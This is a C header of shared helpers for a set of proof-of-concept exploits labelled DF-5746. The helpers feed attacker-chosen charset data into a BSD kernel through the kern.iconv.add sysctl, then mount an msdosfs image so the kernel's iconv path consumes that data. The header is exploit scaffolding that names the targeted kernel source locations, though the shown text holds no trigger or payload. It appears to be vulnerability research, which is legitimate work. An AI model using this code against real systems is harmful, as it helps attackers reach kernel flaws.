DF-5746 / common_kiconv.h
/* common_kiconv.h — shared helpers for DF-5746 PoCs * * Registers charset pairs through the kern.iconv.add sysctl * (sys/libiconv/iconv.c:iconv_sysctl_add) and mounts an msdosfs * image with KICONV charset args, which makes the kernel * msdosfs mount path call iconv_open() on our pairs * (sys/vfs/msdosfs/msdosfs_vfsops.c:119-130 update_mp()). */ #include <sys/param.h> #include <sys/mount.h> #include <sys/sysctl.h> #include <sys/iconv.h> #include <vfs/msdosfs/msdosfsmount.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int reg_pair(const char *conv, const char *to, const char *from, const void *data, int datalen) { struct iconv_add_in din; struct iconv_add_out dout; size_t olen = sizeof(dout); static char buf[ICONV_CSMAXDATALEN]; memset(&din, 0, sizeof(din)); din.ia_version = ICONV_ADD_VER; strlcpy(din.ia_converter, conv, sizeof(din.ia_converter)); strlcpy(din.ia_to, to, sizeof(din.ia_to)); strlcpy(din.ia_from, from, sizeof(din.ia_from)); din.ia_datalen = datalen; if (datalen > 0) { if ((size_t)datalen > sizeof(buf)) errx(1, "datalen too big"); memcpy(buf, data, datalen); din.ia_data = buf; } if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) < 0) { warn("sysctl kern.iconv.add (%s:%s)", to, from); return (-1); } printf("[+] registered pair to=%-14s from=%-14s datalen=%5d csid=%d\n", to, from, datalen, dout.ia_csid); return (0); } static int mount_kiconv(const char *dev, const char *dir, const char *cs_local, const char *cs_dos) { struct msdosfs_args args; memset(&args, 0, sizeof(args)); args.fspec = __DECONST(char *, dev); args.uid = 0; args.gid = 0; args.mask = 0755 & ALLPERMS; args.flags = MSDOSFSMNT_KICONV | MSDOSFSMNT_LONGNAME; strlcpy(args.cs_local, cs_local, sizeof(args.cs_local)); strlcpy(args.cs_dos, cs_dos, sizeof(args.cs_dos)); if (mount("msdos", dir, 0, &args) < 0) { warn("mount msdos %s", dev); return (-1); } printf("[+] mounted %s at %s (cs_local=%s cs_dos=%s)\n", dev, dir, cs_local, cs_dos); return (0); } |